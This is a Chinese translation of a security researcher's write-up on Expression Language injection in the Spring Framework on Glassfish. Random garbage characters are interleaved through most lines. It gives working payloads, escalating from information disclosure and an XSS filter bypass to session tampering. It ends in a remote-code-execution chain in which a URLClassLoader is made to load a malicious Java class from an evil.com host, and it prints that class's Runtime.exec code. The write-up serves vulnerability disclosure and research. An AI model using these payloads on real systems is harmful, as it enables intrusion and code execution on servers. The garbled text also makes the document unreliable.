Remote Code with* R2 v7 k! X; x( K- z9 G
Expression Language Injection+ g7 ]) E; [) y7 a
Spring Framework脆弱性—DanAmodio7 \' G/ _( w& F3 I0 _( B( M
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
6 ~: v# K) ?9 L0 |/ I0 w& {7 g- i可能会存在风险。, @; R( e1 O X" j H& p" v
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的7 @' |; P" N8 Y, s0 {, v
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可4 a: _# O7 M( Z; e* z3 v
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,1 r% H/ R7 O% g/ _0 i& W: c( _
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
. h, ]. R1 f( y Q) C1 f: V4 m版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。! `4 L4 l2 t" D, Q6 V
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但: Q: H/ J) S! a% Q8 A
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版) e1 ]& S+ |: z! r8 e0 j
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
" P# M a5 P$ y- O- d; Q这些版本不支持禁用double EL resolution.+ P- N+ a# s, T4 ^3 N9 W
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
1 S% Q7 }4 ?% C; ~4 E- gEL2.2容器上可能进行远程代码执行。
5 S4 K; a5 G( K这是一个原始信息泄露的攻击例子:
2 Y- o5 N2 e8 P. h; U7 u) e请求:
+ J- r( t- q& \% D* Y2 `ttp://vulnerable.com/foo?message=${applicationScope}# z& u L0 Z/ d1 C' \
到达以下内容页面:
$ E7 h4 S8 z; |. b结果将输出一些包含内部服务器信息calsspath 和本地工作目录1 Z8 i* E9 [- ^6 U* t1 K9 g0 B" f
你也可以做一些其他事情,如这样:
: E/ i+ x/ e# D$ v# r9 M${9999+1}
! e# x8 K% W8 L% @8 `- W( j还可以访问session 对象和beans
% R l8 G" w+ b; H Y${employee.lastName}7 K6 \6 d, I/ n! ]7 @: ?$ |( F
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是 @* Z O- _" q, g
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东5 j5 g% Q8 m7 O/ R# w3 _+ W
西,比如XSS.; B3 ~" ]7 P% J8 D( T
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
% x1 |2 O4 O3 p! G# t/ M突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤: @, [1 b" r. [
呢?”; C% b. ?8 [0 @. ~: W
因此,我尝试巳缦拢�
0 u2 y* p {7 l8 d! @http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP/ T- ~: F( y# K/ J% h
P
7 y" {" c6 `: U$ N) g1 _我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返+ c( g( |2 R/ ~' o9 k2 m
回的文本被插入进了spring:message 标签。& F. K( d% j# {0 z
这里是一个最终绕过过滤的实例:
; V' p9 A( U- C4 p0 ohttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ
6 `( D9 q1 B2 W) q G它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为4 F" T' ^0 i- X7 X* w6 p% W1 `9 l
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?" i/ U2 K9 f' n) u
经过一番研究,我学习到EL2.2 增加了方法调用。
( F- [8 {0 ^2 P我写了一个快速测试应用程序代码并且检测一些功能' q; D7 H! ]7 A
${pageContext.request.getSession().setAttribute(“account”,”123456″)}1 ?0 |, P. k& l8 e. `5 I! n2 q
${pageContext.request.getSession().setAttribute(“admin”,true)}6 W$ f: s6 Y7 e/ H
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的$ V7 K% m! z4 a" d% D# d
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?$ ?2 ^& b' t* D$ F
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
; }2 j9 L+ f- A& H M“, 1234)}
) K3 `. k1 D$ d l9 m${“”.getClass().forName(“java.lang.Runtime”)}7 N+ r3 G9 l2 a3 D
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
: `. Q. r! h1 J' _可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
0 Q2 ?6 r0 K( b. O% m* R1 D- @数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
W- f; I0 |1 b一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于( S9 ^ A: L- n$ W0 h
方法签名invoke(Object obj, Object„ args)
7 `9 W4 N: k, y( T VJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问: v1 H% D( D! t# g! z# m, A
题,以让它可以工作起来。- \' E/ b2 I" n
漏洞利用:
* o1 R' N7 B( J. J+ x8 n我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我; k2 X! u/ C7 z( K2 H
希望你们中的一些JAVA奇才告诉我我是如此的可笑。
% |' j! T4 m- A$ [这里有一些我试过的失败的用例,为了试图让它工作的用例:, E( Y- e* c9 p' |1 |. K, S
写文件到文件系统
* K* o% L9 `, ?" s% d8 Y7 s 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.3 P) r& {' d! I! \: z
我认为这些可以很好的工作,但是我不能找到合适的类来载入。+ m: |4 M2 q" h H2 o. `
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}# ]& i9 ~4 K/ R3 Y3 W' W
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
! f: Q/ H( H( q* B! j" \3 Forg.springframework.expression.spel.standard.SpelExpressionParser not found/ _# g5 H6 ], n# [
by5 J3 d1 r ~' o5 I, J; }
org.glassfish.web.javax.servlet.jsp [194].
& S- M. j4 ^9 e7 E$ I3 w& H" V 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
: i! S6 c4 l1 ], q 利用反射来创建一个新的Runtime(and watch the world burn)
2 x5 z/ }, H# w# |- h${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName" W; L. x7 b- J7 z1 e+ \1 P
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
" P n- a3 y7 a7 u& V2 f${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
: \3 m" R6 V* G" ~. B 使用java.lang.ProcessBuilder4 k+ y* q0 m+ ^" C3 L+ J% g
用表达式语言来评估表达式语言
, K( |' L$ p2 A, lExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.: Y9 o+ P/ ]$ b
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
0 N* o3 E) R; V2 w G“,”".getClass(),null)}
3 e/ q+ H" k# u3 r% p8 o% a! |6 m 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
# x/ b8 |& r% b2 l: N我在使用一个空数组通过Method.invoke()时失败了很多次* R( B. N _) f5 ^
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo$ D9 E+ c: {8 M" \) S
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A# z$ W1 V7 a! { |. N" Z8 Z9 \
rrayList”).newInstance().toArray())) t5 k& k6 E3 t9 y
java.lang.IllegalArgumentException: wrong number of arguments# {& E! [( b I: x8 B
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
7 z6 \6 b7 h2 e9 X以创建一个恶意class文件并且指向类装载器.
; r+ D1 h2 I9 D+ N我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:8 C @" _' [; P3 r1 i5 ]
public class Malicious {
% ]. L. n+ P7 y0 v9 dpublic Malicious() {' t. s* C1 t6 ]& T% U ~
try {8 C5 L! F R: z0 f% ^
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
1 n) N$ P% n* P# T9 }java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
- O1 R( o1 r% S} catch (Exception e) {
2 _4 z8 h+ O8 i3 L0 p* |$ H: W}3 w6 U5 _2 S. U6 u" w8 H
}
+ Q5 C' Q4 ^, }- E- F1 {' ]我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
" I9 }5 |% N1 I, d: l; d, F话中,因此它可以被使用.
: m( [+ H& O3 k) {2 I3 T$ h7 q: w${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName1 J% B$ r9 o7 u) ?1 v1 m6 e6 W! x
(“java.util.ArrayList”).newInstance())}! H5 n# @ W' m# Q
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建4 b. O) D1 g/ g a- n
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
" l& R \3 e- DgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
: q6 U7 e4 h" D+ u+ W/ d我们可以调用的create(string)方法,然后转换对一个URL对象。, X$ o' g$ g: c1 i9 |* D$ a" ]
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
0 D. O l) y9 qere/malicious/classfile/is/located/”).toURL())}' f, z2 q( h+ P6 q: n+ J4 O+ t0 b
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
. O1 c8 B9 a9 R& @! V恶意类文件被装载并创建,触发远程代码.
0 h, t! P& E4 ]! C${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte# B% c2 `' y" O2 r1 W* E0 o
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().. d z9 }( C! @4 S, E0 l6 |, V
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
) t2 L4 ^" |1 K; O2 c& v! H()} |